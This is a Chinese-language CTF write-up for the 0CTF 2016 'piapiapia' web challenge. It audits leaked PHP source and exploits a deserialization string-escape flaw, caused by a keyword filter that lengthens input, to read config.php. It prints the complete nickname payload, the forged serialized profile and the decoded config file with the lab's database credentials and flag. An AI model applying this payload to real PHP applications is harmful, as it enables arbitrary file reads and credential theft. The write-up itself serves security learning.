[0CTF 2016]piapiapia

打开题目,看到一个可爱的登录界面,尝试SQL注入未果,直接目录扫描
在这里插入图片描述扫描到register.php config.php 和备份文件www.zip
先弄清楚这些页面的具体功能,在register.php注册账号然后登录,看到一个填写个人资料的表单,也存在文件上传点
在这里插入图片描述
尝试后,应该不存在SQL注入和文件上传漏洞,填写信息后提交,然后在profile.php可以查看到我们提交的资料
在这里插入图片描述到这里,我们已经对大致的功能点有所了解,不过漏洞点还不确定,因此要审计泄露的备份文件
首先看下刚才发现的功能点和猜测的漏洞点的源码,不过都是强过滤,因此突破的可能较小
flag在config.php中,因此我们需要读取到这个文件即可Get Flag
在这里插入图片描述

在profile.php的源码部分中,发现了一处可能可以利用的点
$photo = base64_encode(file_get_contents($profile['photo']));
这里会将读取到的$profile[‘photo’]) base64加密之后当作图片加载出来
因此只要$profile['photo'])可控,就可以读取到存有flag的config.php
在这里插入图片描述
追踪$profile[‘photo’],发现profile是过了反序列化,而$profile是$user->show_profile得到的
即追踪到$user->profile去看看

public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
public function select($table, $where, $ret = '*') {
	$sql = "SELECT $ret FROM $table WHERE $where";
	$result = mysql_query($sql, $this->link);
	return mysql_fetch_object($result);
}

这里就是可以去查询这几个数组在数据库中的值,所以我们只要保证$profile[‘photo’]可控就可以实现任意读取,因此就要看到这些数组的值是怎样传入的,是否可控
看到update.php的源码

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');

		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

由于$file[‘name’]被md5加密处理过所以不能靠直接传入让$profile[‘photo’] 可控
$profile['photo'] = 'upload/' . md5($file['name']);
不过这里对$profile进行了序列化操作,继续跟进$user->update_profile

public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);

	$where = "username = '$username'";
	return parent::update($this->table, 'profile', $new_profile, $where);
}

发现传入的值都进入了parent::filter再更新到数据库,所以再看看parent::filter

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里将匹配到的关键字作了替换,由于先经过了反序列后又替换了某些值,那这里就应该存在反序列化字符逃逸。
后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
数组即可绕过:
nickname[]=

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
在这里插入图片描述

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解码得到:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值